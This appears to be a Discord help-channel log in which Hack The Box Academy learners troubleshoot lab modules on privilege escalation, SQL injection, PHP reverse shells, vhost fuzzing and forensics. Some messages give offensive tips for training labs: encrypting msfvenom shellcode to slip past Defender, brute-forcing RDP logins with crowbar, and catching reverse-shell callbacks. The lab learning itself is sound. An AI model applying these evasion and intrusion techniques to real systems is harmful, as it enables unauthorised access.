tbh using hex is the way to go, in any debugger when you see memory address is always in hex

it's also cleaner since every step is 8 bytes

[rustic sage]

clean clean

[wheat garden]

ya I got it now thanks for explaining that.

[fathom pendant]

Once you deal with it enough your brain will know how it goes

Just remember the powerfall
From l-r, you take the number of digits and do [16^(n-1) * x, 16^(n-2) * y....] where x is the digit in that place. And you repeat including when n-z is 0 (to represent the first digit place). This works in any base system

1054 in decimal can be represented as
[10^(4-1) * 1 + 10^(4-2) * 0 + 10^(4-3) * 5 + 10^(4-4) * 4]

If you want another way to think about it, count the places right to left and do n-1 where n is the place

[thin bloom]

hello i need help

can someone help me plisss

in htb windows priv module ' Escalate privileges on the target host using the techniques demonstrated in this section. Submit the contents of the flag in the WeakPerms folder on the Administrator Desktop.

i did the exploit and i was member of the admin group but i cant cd to admin user to get the flag i also tried change ownerchip of file and change permisions but i get permision denied

[dim wolf]

close and reopen the terminal

[thin bloom]

bruh

thx for the help

it did not help

[next bronze]

update group policy and relog

[minor eagle]

Ive been searching everywhere and trying everything to figure out why the $rax answer im getting isnt working on the Intro to Assembly GDB module. ive set the break at _start+16 and it keeps telling me cannot access memory at address 0xffffffffffffffda. if anyone is able to give a push in the right direction I would be forever grateful.

[hot quiver]

hi whatsup

[next bronze]

are you opening the right file

also #welcome so that you can post images

[glad citrus]

Im I’m the password attacks module. Pass the ticket section. The creds provided for the lab aren’t allowing me to RDP. Has anyone else had this issue

[minor eagle]

I downloaded the gdb.zip and did the wget and source to get it to gef and i was using the disasm file from the previous section since gdb doesnt allow you to 'gdb -q gdb' if disasm isnt the right file what file should i be using?

[next bronze]

why can you not run gdb -q gdb

[minor eagle]

when i tried it before and used 'r' it gave me an error but i just tried it again and it worked. thank you ❤️

[errant bane]

Is mysql installed by default on pwnbox? I tried to run it and command wasn't found. Looking for the binary now...

Don't think the labs allow internet access. I switched over the VPN instead but ty!!

[next bronze]

doesn't look like the target is right or you're connected to vpn

[sterile solstice]

anyone having issues sending SQLi in the spawned targets? they constantly time out, but i know they're the right commands

nvm, using pwnbox. works far far better

[rustic sage]

Yeah there's probably something wrong with your network connection

[next bronze]

if it's timing out it's some connection issue

[sterile solstice]

i connect to the webpage where you input search terms. normal terms execute properly, but once SQL commands go in, it starts timing out.

but the same commands copied into the pwnbox on the same site execute perfectly

[rustic sage]

So you're saying it's timing out when you try sql payloads on the webpapp?

[sterile solstice]

yes

but same commands go through when using pwnbox

[rustic sage]

Pwnbox web browser?

[sterile solstice]

yes

[next bronze]

is it connected to the vpn? and you shouldn't use pwnbox and vpn at the same time

[rustic sage]

Do you get a successful injection when using the payloads in pwnbox?

[sterile solstice]

yes, i am connected. if i wasn't, i wouldnt be able to load the initial page

[sterile solstice]

yes

[next bronze]

I just spanwed one and it works over vpn

[sterile solstice]

yea, understood. its not advised, but its also the only thing that got it to work.

[next bronze]

I mean you either use one or the other but not both

[rustic sage]

I say disconnect from the VPN, download another VPN ( TCP) and try again

[sterile solstice]

yea ill try that in a minute.

[rustic sage]

Can you ping the machine and check the packet loss?

[next bronze]

I'm using US4

https://gist.github.com/Xre0uS/2105986d23719cf99c271842528f48a6

[rustic sage]

Altho it doesn't show the packet loss, the connection seems okay from the ping tbh

[next bronze]

the pwnbox connection seems fine

[rustic sage]

Should be fine

[next bronze]

you can safely use 48 threads

[sterile solstice]

new vpn connection (now on eu5 instead of eu4), with tcp, and same issues. it doesn't make any sense for a connection anyway. ive connected to the website thats susceptible to SQLi, and SQL commands are executed on the targets db, not on my computer....

very frustrating

[next bronze]

just a wild guess but do you have 3rd party AV that's blocking the sqli requests

[sterile solstice]

that could be it, but i only use windows defender

[next bronze]

nah defender doesn't block it

you might just have poopy connection

[sterile solstice]

earlier parts of the module i was able to execute commands. and in the skills assessment, i got my first inject in. so its just so very strange

yea could be. i just hope that during the exam it wont be an issue lol

[fathom pendant]

this was literally discussed earlier

gdb in hex, where the instructions they want you to jump to are in dec

just convert dec --> hex

16 in dec is 10 in hex

[wheat garden]

16 is normal decimal but the debugger running in hex and 16 is 10 in hex. You actually need to run to 10 address in the code and not to 16

after to stepping to 10 read the the hex value in rax above

[fathom pendant]

i also suggest not using the integrated terminal

it's very buggy and sometimes 'freezes'

use the in-browser vm in fullscreen mode

if you can't run your own vm*

[cedar yew]

Hi all

im stuck here

AD module
Privlege Access last question

Leverage SQLAdmin rights to authenticate to the ACADEMY-EA-DB01 host (172.16.5.150). Submit the contents of the flag at C:\Users\damundsen\Desktop\flag.txt.

I write the correct commands but first it says connection successful then connection failed

[fathom pendant]

you may be overthinking it; just connect to the mssqlclient and use xp_cmdshell

[sterile solstice]

https://academy.hackthebox.com/achievement/1346583/33

[fathom pendant]

crooooosin

[rustic sage]

I’m doing the Knowledge Check in the Getting Started part of CPTS path. I understand the exploit needed to establish a reverse shell, but when I use Netcat, I’m not getting anything in my terminal even though the PHP input I included has the same port specified.

[sterile solstice]

learned a lot and got more comfortable with using sql!

[fathom pendant]

does it have the right IP?

you also need to be running the nc command before you load the php page 😉

[rustic sage]

Does the syntax take the IP of the Pwnbox or the target machine?

[fathom pendant]

why would you ask it to connect to itself?

[cedar yew]

I'm so confused, I can't connect via sqlclient either, it gives an error.

[rustic sage]

I wouldn’t unless the only other option wasn’t working either, lol.

[fathom pendant]

are you using the provided parrot host?

[cedar yew]

yes

[fathom pendant]

then you're likely missing something

[fathom pendant]

so you have access to the internal network? 172.16.x.x on one of the interfaces?

[cedar yew]

no just access machine host 10.129.xxx

[next bronze]

what's the error

[cedar yew]

It doesn't give any output but it takes too long

[cedar yew]

and powershell output

[fathom pendant]

try with mssqlclient on the internal parrot host

[next bronze]

there's a Privlege Access section in the AD module?

[cedar yew]

yes

[fathom pendant]

yes https://academy.hackthebox.com/module/143/section/1275

it's privileged access

but i chalk that up to slight language barrier

[dim wolf]

it's for MSSQL, RDP, WinRM

[next bronze]

crtl f has failed me

[fathom pendant]

my brother in christ

you are not listening

[next bronze]

???

[rustic sage]

Try a different browser

[fathom pendant]

you are using the pwnbox

NOT the parrot host that's sitting on the internal network of the AD environment

[fathom pendant]

dude... did you really forget this section?

SQL host is on the internal network

he can't access it via the pwnbox (directly)

[next bronze]

yeah I know, I meant you've already asked them to check

[fathom pendant]

yeah

[rustic sage]

Or clear the browser cache and retry

[fathom pendant]

and now with this screenshot it confirms, he's thinking i'm referring to the pwnbox, which i'm not

there's teh EA-ATTACK-01 host (or whatever its called

[cedar yew]

yes yes i know you say de use ssh attack machine

when i try the ssh i have output permission denied for htb-student

or damundsen

[sterile solstice]

so .... tried other browsers. private sessions too. still nothing. then wondered if its my ISP or similar, so I turned on Anon Surfer ..... and it worked.

[next bronze]

did you even use the right password for htb-student

[fathom pendant]

oh my god

[rustic sage]

Ohh

[sterile solstice]

thanks for the suggestion. was directly the issue but sparked another potential problem!

[rustic sage]

What was that?

[sterile solstice]

filtering through probably my ISP

[rustic sage]

Ye

[sterile solstice]

otherwise, the AnonSurf wouldnt have fixed the issue

i normally run my VPN but had to tunnel it while doing the modules. was getting too much lag otherwise.

[rustic sage]

Ye ik I thought you had another issue lol

[sterile solstice]

oh, and just realised ... AnonSurf runs you through tor ...

[rustic sage]

Yeah it does

[fathom pendant]

just went through it myself and it's working as intended

[rustic sage]

I appreciate you checking. I’m still stumped in the same spot though. It has to be a syntax issue.

[fathom pendant]

what's your command? (you can delete after)

[rustic sage]

One second. I’ll copy it from my laptop.

[dim wolf]

might be missing -windows-auth

[fathom pendant]

and you replaced the 10.10.15.190 with YOUR tun0 address

[dim wolf]

i looked at something else woops

[fathom pendant]

there's also a simpler way @rustic sage with the exec function

[rustic sage]

Is there a space between the ? and the php in your actual command too?

[fathom pendant]

also yea as Candy said that extra space does actually matter

[rustic sage]

No. I had it without the space in the actual command.

Idk why I edited that. My brain is fried.

[fathom pendant]

well I just ran your command on my spawned instance and itworks

[rustic sage]

Try other payloads ig

[next bronze]

what's the listener command and output

[fathom pendant]

the payload works

Since I can confirm that this in-fact works you can delete this

[rustic sage]

When you execute this, does the webpage keep loading or does it finish loading?

[fathom pendant]

@rustic sage are you running your listener before or after you visit the theme page?

[rustic sage]

Yeah it could be an issue with the Listner setup if the webpage keeps rendering but no reverse shell is made

I run the listener, then refresh the page. Nothing happens.

[fathom pendant]

what page are you refreshing?

[rustic sage]

Does the page finish refreshing

[fathom pendant]

the http://ip/path/to/theme.php?

[rustic sage]

The theme page itself.

The admin one.

Does the loading thing keep spinning

Or does it load successfully

[fathom pendant]

that's not the theme page

that's why you're not getting a callback

you're just refreshing the editor

[rustic sage]

Bruh.

[next bronze]

oh my goodness

[fathom pendant]

when you click the theme tab it will tell you where the page is located that you need to load

[next bronze]

was that not shown in the module

[fathom pendant]

this is more of a user error than a not being taught error

[next bronze]

true

[rustic sage]

It’s fine, I’ll accept the fact that I am slow.

[fathom pendant]

but the editor itself is not running the php code

but with this newfound knowledge you'll be able to get your callback :)

also as a general suggestion when using the pwnbox

use -s [tun0_ip] to have it only listen on the tun0 port

as the other interface is public facing; and you might get false hits from scrapers

[rustic sage]

This was the biggest bruh moment ever.

I spent like 4 hours on this box. And half of that was just me being stupid.

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[fathom pendant]

i've been there

tfw the instructions say "authenticate" and you do every other method but

[rustic sage]

Generally when you execute a reverse shell in a webpage, if it did execute properly, the page should keep loading indefinitely. If it doesn't, then the payload didn't get executed. So if it does load successfully, you know you're doing something wrong with the payload execution 🙂

[fathom pendant]

I think you missed the plot

[rustic sage]

I've not done this module so probably 😂

[fathom pendant]

he was loading the /admin/themes.php page, not the /theme/<themename>/template.php

[rustic sage]

Just curious, what's the place that's vulnerable for injection on this particular exercise?

[fathom pendant]

not spoiling

it's part of the getting started module

you'll have to discover that for yourself

i've already said more than enough

[rustic sage]

Alr

I'm going to have to go through this again tomorrow. Brain is soup. Thanks for the help though.

[fathom pendant]

https://tenor.com/view/good-soup-good-soup-meme-meme-adam-driver-gif-22924425

[rustic sage]

https://tenor.com/view/idiot-elmo-im-stupid-shrug-im-an-idiot-gif-16140879

Brain fog. I am in that state constantly too

[fathom pendant]

as long as you pace yourself and recognize when you might need a break, you'll be fine

my general rule of thumb is if i'm starting to get unreasonably frustrated at myself over small mistakes

[rustic sage]

I'm taking a very brazen trial by fire approach, so I'm learning all of the commands, syntax, etc. on top of the methodology. If it's not one issue, it's another, lol. At least for now. This was only my second box.

[oak girder]

I would like to ask if you can turn on the target machine?

[rustic sage]

Yes you can

What are you trying to turn on?

[rustic sage]

It says it's spawning you have to wait

[oak girder]

I waited very long and cleared the cookie as well, and this target machine still doesn't turn on

[rustic sage]

Close the browser and go to it again and try to re spawn it. If that doesn't work, and it never spawns, contact support

[fathom pendant]

Change vpn region

and try respawning then

[oak girder]

Thanks, your approach is very effective

[trail sail]

Hi. I need a little bit of help in the module Using Web Proxies - ZAP Scanner.
How much time does it takes ZAP to start searching for vulnerabilities? Is not starting for me. it has been 15 minutes without starting to scan de website.

[fathom pendant]

Is the website in your /etc/hosts?

Did you specify the port?

The scan itself can take upwards of 30 minutes or more

[trail sail]

I add it the IP at the bottom:
127.0.0.1 localhost
127.0.1.1 debian12-parrot

The following lines are desirable for IPv6 capable hosts

::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-zmp5gtt1ja htb-zmp5gtt1ja.htb-cloud.com
94.237.59.199:35862

Is it ok like to add it this way?

[fathom pendant]

That's completely incorrect

[rustic sage]

Huh

[fathom pendant]

You don't include the port in your /etc/hosts, you also didn't put the domain

You specify the port in the connection string http://domain:port

[rustic sage]

Whats the, "htb-zmp5..." Line?

[fathom pendant]

Pwnbox

[rustic sage]

Oh

[trail sail]

94.237.59.199 a.root-servers.net nstld.verisign-grs.com
Ok thanks i fixed it this way

[fathom pendant]

That's not correct either

[rustic sage]

It should be 94.237.59.199 <Domain>

[fathom pendant]

Did you not get given a vhost for this section?

That's what you put next to the IP

If not then you don't need an /etc/hosts entry

You just put the http://ip:port in the zap scanner using the spider option

[rustic sage]

screenshots would help

[fathom pendant]

This wouldn't fix it btw, since you don't have/need a vhost for this

The hosts file is a local DNS

@trail sail btw: whenever you're given a public_ip:port, the only scope is that port and any vhosts you may discover if needed

The info you put there is just the info brought up via public name servers which are irrelevant to that ip

[trail sail]

Ok, I don't understand anything right now. I'll call it a day and continue with this module tomorrow. Thank you, everyone. Have a good one.

[fathom pendant]

My point; you can delete that entry and it would work just fine

[trail sail]

Thanks!

[sterile solstice]

SQLmap is an amazing tool

[fathom pendant]

Start with information Security foundation path

That will get you familiar with a lot of the basics

If you wanna do the cpts you'll need to do the pentester path, the information Security Foundations path is a pre-requisite to that

Htb is not free

There is the student plan which is $8/month and gives you access to the whole course

But it is well worth it

[sterile solstice]

youtube is free. and i believe PortSwigger academy is free. but HTB is incredibly cheap, especially for what it is.

[fathom pendant]

You just need to be an active student in Uni

[sterile solstice]

i still recommend HTB if you can.

[fathom pendant]

The tier 0 modules are free

As in they refund the cubes you pay for them fully

All other module tiers give back 20%

[uncut cave]

Anyone doing Windows Evasion and found that the binary is not being executed ?

.

[fathom pendant]

alsonotmalware.exe

[dim wolf]

fret not, it is also not malware

[shut quest]

I've completed it, the module won't steer you wrong

[autumn gulch]

Anyone completed this below :
Module: Information Gathering - Web Edition
Section: Skill Assessment
Question: "After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., [e-mail]."
I am stuck some can give me a hint please.

[uncut cave]

The payload works on my local machine, do I have to spawn calc.exe as it kills itself after spawning win32calc.exe ?

I'm currently spawning notepad.exe instead

[shut quest]

On phone, give me a moment to spin up my notes

[nova ruin]

How can I upload photo on this group?

[shut quest]

read #welcome

[nova ruin]

This channel

[storm elk]

Read #welcome so you can get instructions and eventually you can upload photos

[timber hatch]

INTRODUCTION TO DIGITAL FORENSICS
Evidence Acquisition Techniques & Tools
Visit the URL "https://127.0.0.1:8889/app/index.html#/search/all" and log in using the credentials: admin/password. After logging in, click on the circular symbol adjacent to "Client ID". Subsequently, select the displayed "Client ID" and click on "Collected". Initiate a new collection and gather artifacts labeled as "Windows.KapeFiles.Targets" using the _SANS_Triage configuration. Lastly, examine the collected artifacts and enter the name of the scheduled task that begins with 'A' and concludes with 'g' as your answer.

i did as described, downloaded the artifcats but cant find a process which start with A and ends with G.
Could somebody please give a hint?

[uncut cave]

I tried spawning calc.exe instead and it worked on my local machine but not on the target machine

[shut quest]

Are you using CreateProcess

[uncut cave]

yes

[next bronze]

did you read this bud
#modules message

[uncut cave]

oh sorry I just read it, and yea the problem was that apparently the project is compiling in 32bit which causes it to spawn a notepad.exe in 32bit (for some reason)

and after I changed the compile configuration to 64bit, then it spawns notepad.exe in 64bit

[next bronze]

did you update your code to use C:\\Windows\\System32\\calc.exe ?

[uncut cave]

yes, and it worked on my local machine (spawn calc.exe and got reverse shell)

thats why I was suspecting that the module target box just isn't triggering the binary, but gubarz said he has completed the module so Idk

[shut quest]

go me, i dont know what i did with my original code, but rebuilding the solution its not triggering for me from alpha

[uncut cave]

maybe the current version of the target box is messed up for "ProcessInjection" part ???

[shut quest]

my original exe that is known working isn't updating the log either

[fathom pendant]

Unless they changed it in the last 24 hours

As he said he just tested it yesterday

[uncut cave]

who is he?

[fathom pendant]

Xreous

The one that confirmed it should work

[uncut cave]

he said it before that he hasn't done the module

[fathom pendant]

He could have done that section but not finished the module

He said that he tested the payload and it worked with minimal modifications

but if you're sure the lab is broken #1234357888114364508 exists ¯_(ツ)_/¯

[uncut cave]

yea the log seems to be stuck on 5th July

[candid lily]

about padding oracle attack in https/tls module, i tried all possible block sizes and the recovered plaintext is gibbrish

[next bronze]

yeah seems like the checking task is broken

[uncut cave]

just posted an issue in erratum so let's hope someone will get it fixed ASAP

gonna skip that section for now

[candid lily]

any idea what encryption is this

[sterile solstice]

i usually try ascii and/or base64

[candid lily]

need help with this

[shut quest]

I just tested all the other payloads for the other sections and they are all working except for that one :/

[candid lily]

oh bruh nvm i made a typo and gave wrong error argument

[analog dock]

That’s not allowed but ok

[rustic sage]

@languid fjord <----

[mint peak]

Wow that complete domain compromise on AD Skills Assessment 2 was a whirlwind and incredibly fun!

Happy to be done with that

[void hemlock]

I would like to speak to someone for the following module:
Name: INTRODUCTION TO WINDOWS EVASION TECHNIQUES
Section: Skills Assessment #2
thank you

[fathom pendant]

Just ask your question

[void hemlock]

Well I am able to create a reverse shell with my poc.vbs in the dev machine and also on the victim machine. However when the vbs is triggered by the bot it is not creating the reverse shell. When I look into the log.txt, I can see a timeout which might suggest an issue with the bot.

Do I need to raise a ticket?

[patent jungle]

Hi, I'm currently doing the "Weak Permissions" section under the Windows Privilege Escalation module. I modified the bin path of the vulnerable Windscribe service and was able to add myself to the Administrators group. And yet, I cannot read the flag on the Administrators desktop (shows Access Denied). I tried the commands takeown /f C:\Users\Administrator\WeakPerms\flag.txt and icacls C:\Users\Administrator\WeakPerms\flag.txt /grant htb-student:F to no avail. Any help?

[fathom pendant]

Did you update gpo then log out and back in

[patent jungle]

GPO? Not sure what that is sorry

[fathom pendant]

By that I mean literally using the start menu and logging out then in again

[patent jungle]

Ah ok let me try that

[void hemlock]

@fathom pendant any chance you can help me out on that one?

[fathom pendant]

Haven't done this module so I can't

[patent jungle]

Nope, doesn't help

[shut quest]

I solved both of those a different way, may not be convenient or the intended as far as the module goes, but there are other ways to get the flags that don't require popping a shell.

[fathom pendant]

Did you sign out or just close the rdp

Did you also run powershell as admin after logging back in?

[patent jungle]

Oop I didn't sign out

just disconnected from the RDP session

[void hemlock]

thanks mate, can I DM you?

[patent jungle]

I did try this though

[shut quest]

sure

[fathom pendant]

Yeah you need to sign out then back in for it to take effect

Not just end session

[patent jungle]

Ok yep working alright now

Thank you marcielee

[fathom pendant]

It's just how permissions in general work, because the user is currently active windows can't actively assign it a new group

It's queued up

[patent jungle]

Makes sense

[timber hatch]

INTRODUCTION TO DIGITAL FORENSICS
Evidence Acquisition Techniques & Tools
Visit the URL "https://127.0.0.1:8889/app/index.html#/search/all" and log in using the credentials: admin/password. After logging in, click on the circular symbol adjacent to "Client ID". Subsequently, select the displayed "Client ID" and click on "Collected". Initiate a new collection and gather artifacts labeled as "Windows.KapeFiles.Targets" using the _SANS_Triage configuration. Lastly, examine the collected artifacts and enter the name of the scheduled task that begins with 'A' and concludes with 'g' as your answer.

i did as described, downloaded the artifcats but cant find a process which start with A and ends with G.
Could somebody please give a hint?

[rustic sage]

What is the best way to report grammar corrections? About 50% of pages have subtle ESL errors.

[stone hare]

Is it normal that bruteforcing RDP credentials with crackpmapexec is extremely slow? Its like 20 seconds per try, while i get around 10 per second with SMB or SSH

[shut quest]

in #1234357888114364508

[sterile solstice]

from what i remember, yes. i can't remember if you can adjust thread's for faster attempts?

[shut quest]

crowbar goes fast

[stone hare]

is that a tool

[sterile solstice]

but given the nature of the service, i doubt rdp would expect a lot of connections .... i remember using smb being the quickest

[stone hare]

alright thanks

[shut quest]

https://github.com/galkan/crowbar

[stone hare]

thanks

[surreal lichen]

How do i install crackmapexec on Parrot OS, nothing is working ive tried sudo apt-get -y install crackmapexec, pipx install, python3, installing the github repo with recursive didnt even work either

[pure isle]

Good day! I have a question about the monthly subscription on Hack The Box. If I subscribe to the Platinum plan, which costs around $68, do I receive 1,000 cubes? If so, after using these cubes to purchase modules, do I retain access to these modules for life, or do I lose them once the monthly subscription ends?

[sterile solstice]

i know you keep any modules you complete

a question for the team. i'm trying to run netcat to listen on port 80. i run as sudo. but its still refusing. i also have a few versions of netcat installed. any suggestions on how to fix this?

[fringe urchin]

Crackmap isnt being maintained anymore. Use
https://www.netexec.wiki/ instead. Same features or even better

[surreal lichen]

And I've been sat here for an hour trying everything but nothing said it wasn't being maintained anymore 🤣. I thought since there was a module all about CME it still was maintained

[fringe urchin]

Or if you really want to use crackmap then use pwnbox. Its installed on the pwnbox

[sterile solstice]

took me a while to figure it out too. i just use netexec now

[storm elk]

it might be because port 80 is taking by your webserver? run netstat -tulpn and check if port 80 is already taken

[sterile solstice]

Oh good idea. I raged quit and shut down my computer so I'll check in the morning when I loggon

[storm elk]

haha 😄

keep me posted

[sterile solstice]

In general, I've had a few issues with getting nc to behave how it does on pwnbox.

[sterile solstice]

Will do!

[timber hatch]

INTRODUCTION TO DIGITAL FORENSICS
Evidence Acquisition Techniques & Tools
Visit the URL "https://127.0.0.1:8889/app/index.html#/search/all" and log in using the credentials: admin/password. After logging in, click on the circular symbol adjacent to "Client ID". Subsequently, select the displayed "Client ID" and click on "Collected". Initiate a new collection and gather artifacts labeled as "Windows.KapeFiles.Targets" using the _SANS_Triage configuration. Lastly, examine the collected artifacts and enter the name of the scheduled task that begins with 'A' and concludes with 'g' as your answer.

i did as described, downloaded the artifcats but cant find a process which start with A and ends with G.
Could somebody please give a hint?

[normal sand]

Module: Active Directory Enumeration and Attacks
Section: Skills Assessment Part 1

After logging into the target using the web shell, I can't import the ActiveDirectory PowerShell module. I'm NT AUTHORITY\SYSTEM on the target.

I used the following command to try to import the module.

Import-Module ActiveDirectory

I received no errors or output. I then ran the Get-Module command to see if it was imported, but it wasn't. I tried the Get-ADDomain cmdlet but it didn't work.

What am I missing?

[next bronze]

that webshell create a new session for every command, I believe it's mentioned somewhere in the module

[normal sand]

The web shell they provided in the assessment?

Also, one more piece of info, I established a reverse shell using that web shell to my attack host so I can have CLI access.

But I tried importing the PowerShell module from both and it didn't work.

[next bronze]

you should be able to import stuff with the revshell

[next bronze]

yes

[normal sand]

Didn't work.

[normal sand]

Huh... I didn't see that mentioned, still don't.

Maybe I'll try resetting the target and see.

[next bronze]

you can use Install-WindowsFeature RSAT-AD-PowerShell but you don't need the AD module to answer the questions

[worn matrix]

How can i connect to an oracle database?

sqlplus,i really can't find it!anywhere

[winter field]

Anyone that completed the Sliver module? I am on the last question of the module but don't know how to solve it.

[timber hatch]

INTRODUCTION TO DIGITAL FORENSICS
Evidence Acquisition Techniques & Tools
Visit the URL "https://127.0.0.1:8889/app/index.html#/search/all" and log in using the credentials: admin/password. After logging in, click on the circular symbol adjacent to "Client ID". Subsequently, select the displayed "Client ID" and click on "Collected". Initiate a new collection and gather artifacts labeled as "Windows.KapeFiles.Targets" using the _SANS_Triage configuration. Lastly, examine the collected artifacts and enter the name of the scheduled task that begins with 'A' and concludes with 'g' as your answer.

i did as described, downloaded the artifcats but cant find a process which start with A and ends with G.
Could somebody please give a hint?

[brittle crest]

Information Gathering - Web Edition - Skills Assessment (updated) - Last Question

I'm using the following to enumerate subdomains and getting nothing. could someone take a look at my cmd and vhost file and tell what I'm missing?

└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://94.237.63.97:51508 -H 'Host: FUZZ.inlanefreight.htb' -fs 120

vhost file snipped (have tried with and without the port) Not sure which one would be correct since they both produce the same result.

94.237.63.97:51508    inlanfreight.htb
94.237.63.97    inlanefreight.htb

would someone point me in the right direction?

[next bronze]

don't put port number in the host file, the second one is correct

[brittle crest]

That is what I thought but then I changed it to include the port. Thanks for clearing that up. But I still get no valid subdomains when enumerating. What would you do next or have you solved this module and can give me a tip to solve this last question?

[next bronze]

the command is correct, what output are you getting in ffuf

read #welcome so your message doesn't get removed by the bot

and also make sure the filter size is correct

[brittle crest]

@next bronze when i fliter out a response size of 120 i get nothing, otherwise, i get a status of 200 and a response size of 120 for every domain

[next bronze]

seems like 120 is correct then, you get nothing because it's filtering out the wrong vhosts, let it finish fuzzing

[timber hatch]

@next bronze have you done the module digital forensic?

[next bronze]

unfortunately i have not

you might need to wait for mr calculator to come online

[timber hatch]

alright 🙂

[heavy mango]

@timber hatch make sure you have selected "Sparse files will be expanded in export" when preparing the download, otherwise you'll end up with a very small download containing only metadata

[viral lotus]

I just completed the Windows Event Logs & Finding Evil module, however the Skill assessment I ended up just manually looking through the logs and just filtering. I am not sure this is the best way or most efficient way to do this. Other than the sans material are there any other places to gain more of an understanding of the topic? thanks

[brittle crest]

I was able to find one subdomain but still cant seem to find the API key. what would you do to try to scrape the API key? I have already tried running reconspider against that subdomain

[next bronze]

spoilers, also that's http and not https, also you can ffuf more

[brittle crest]

@next bronze sorry, will try that

[viral lotus]

is the key to the ETW module the more you mess bout with it the more you'll understand it?

[silver iris]

I need a sanity check. I´m doing the new Fingerprinting module. I added the 2 hosts with the ip to my hosts file, but i cant resolve the hosts. Am i missing something:

[fathom pendant]

Are you connected to the vpn?

[silver iris]

yup

[fathom pendant]

Are you using http?

[silver iris]

i tried in browser with http i tried curl, nothing works

[twilit epoch]

Anyone recently worked on Attacking Applications, Splunk module? I would need some help with it.

[fathom pendant]

Reset the target and then put in the new ip then

[silver iris]

did so twice. i downloaded a new vpn file, and reset again. maybe 3 times the charm

[fathom pendant]

To clarify you're using your own vm yeah?

And you don't have the in-browser pwnbox running yeah?

[silver iris]

OK maybe it had to do with the maintenance on the vpns. with the new file it worked. Sorry for bothering you

[fathom pendant]

Fingerprinting section btw, not module

[silver iris]

Yeah true. Thanks for the help

Section done, was just technical problem with the VPN

[solid wasp]

I'm working on the API Attacks module on Hack The Box Academy. It's a really great module, but I'm stuck on one question despite solving the rest. Can anyone help me with the solution for 'Submit the header and its value that expose another Security Misconfiguration in the API?'

[dire birch]

hello i need help with malware development module, stuck on task one, got my exe ready, encrypted with aes and stuff, but it gets detected on Alpha machine and gets deleted instantly

[twilit epoch]

Anyone recently worked on Attacking Applications, Splunk module? I would need some help with it.

[acoustic owl]

An article was linked in the text. Read this article and you will probably know what you are looking for

[frank sun]

saved me so much time, thanks @fathom pendant

[dire birch]

any ideas?

[next bronze]

section?

[dire birch]

INTRODUCTION TO WINDOWS EVASION TECHNIQUES: Static Analysis

[next bronze]

that aes encryption is definitely effective, did you encrypt it right?

if it gets detected instantly without even being executed it usually means your shellcode signature is still in the program

[dire birch]

Ok thanks

I ll try generating new shellcode

[next bronze]

it's not the shellcode that's causing the problem, no matter how you generated it with msfvenom it will get detected, it's how you're encrypting it in your program

[solid wasp]

Which article? I've already tried almost everything in the articles. I've been trying to solve it for hours.

[dire birch]

I followed the steps as in tutorial: cyberchef from hex to AES to base64

[acoustic owl]

Three articles are linked in the HTTP Headers section

[next bronze]

the technique does evade defender static analysis so you're doing something wrong here

[kind turret]

The answer is in the section really. You just need to differentiate between when and what will a HTTP Server respond with denpending on the HTTP methods you invoke at it. You shall find more details here https://owasp.org/www-project-secure-headers/index.html, specifically, "Best Practices".

[dire birch]

okay solved it, i was uploading the wrong file all the time...

[dire birch]

thx for your attention

[acoustic owl]

Can I send you a DM?

[kind turret]

Absolutely

[elder citrus]

Question: List the SID associated with the user account Jim you created
Module: WIndows Fundamentals
Section: Skills Asessment:Windows Fundamentals
I'm pretty sure i followed the steps and I got the supposed SID but they are telling me the answer is incorrect. Any ideas?

[shy cipher]

Hi, I am working on the Linux Privilege Escalation module, Environment enumeration section. Stuck on the 'Enumerate the Linux environment and look for interesting files that might contain sensitive data. Submit the flag as the answer.' Used grep, but as user htb-student wasn't able to see the result. How can I escalate the privileges to user lab_adm ?

[surreal wharf]

Hello, is anybody facing issues in RDP connections? In module Malware Analysis I'm getting "timeout - waiting for activation" error from xfreerdp. I tried reseting the vpn and the target couple of times

[hot owl]

is someone doing XPath - Data Exfiltration.

@everyone

[fathom pendant]

That ping doesn't work

[storm elk]

thank god

[hot owl]

what

[fathom pendant]

You can't @ everyone

It literally does not go through

Only mods/admin/staff have that privilege

[hot owl]

Okay

[storm elk]

I did XPath a while ago

[hot owl]

@fathom pendant

[hot owl]

Ohh

[fathom pendant]

I haven't done this module

[hot owl]

Why are you always here and there 😂

[fathom pendant]

But it helps others help you if you describe the issue you're facing

[hot owl]

@fathom pendant Because literally im in this server always come to face you but thanks you help alot!

[solid wasp]

I found the correct answer. Thank you so much. @kind turret @acoustic owl

[storm elk]

so @hot owl what is your query about the module

[clever topaz]

anyone got a list of tools and their functionalities? too many tools and i keep forgetting them....

[hot owl]

@storm elk I am facing issue in the end of section where we put payload in q parameter in search section and setting f parameter how to set the f parameter to ../../..//text()

[clever topaz]

e.g. crackmapexec, smbexec and psexec, why is there so many exec tool... AHAHAHA i cant rmb

[hot owl]

True

[elder citrus]

???

[hot owl]

@clever topaz But you should write them in notes.

[storm elk]

which section exactly

[hot owl]

XPath - Data Exfiltration

[clever topaz]

i know but i forgot to note down already there are too many of them

and i just realised crackmapexec is able to enum smb so i wonder the need for smbexec

[hot owl]

Great for gathering information about a target.

[storm elk]

Are you using Burp?

because it is litterally just putting your xpath in the parameter?

[hot owl]

Yea

But I can’t figure it out.

[storm elk]

you search for something, capture the request, send to repeater and append the f parameter?

[hot owl]

Okay

Let me try it

[storm elk]

it explains exactly what you need to do in the module via the screenshots

as for the question, it will require some testing

[next bronze]

what's the last single digit

[elder citrus]

huh?

[hot owl]

Thanks mate

Let me dig in!

[storm elk]

let me know if you need any more help

[next bronze]

what's the last digit of your answer

[elder citrus]

6

[next bronze]

that should be correct, make sure you've copied the whole right correctly and there's no space in your answer

[young wyvern]

I’m on the “Cracking into Hack the Box” path, on the getting started module, section 18 “Nibbles - Privilege Escalation” I’ve put the one liner into the monitor.sh file, after running the LinEnum.sh script on the target machine, but it’s still making me put in a password for the “nibbler” account

[elder citrus]

let me check

[elder citrus]

nah, didn't work

[fathom pendant]

Use the full path

[young wyvern]

As in /home/nibbler/personal/stuff/monitor.sh? Because I did and for some reason does not work which makes zero sense, but let me try again that’s how this stuff always works lol

[fathom pendant]

With sudo?

[young wyvern]

Yes with sudo, I doubt I have to be in a different working directory? Idk what that would change

[sharp bluff]

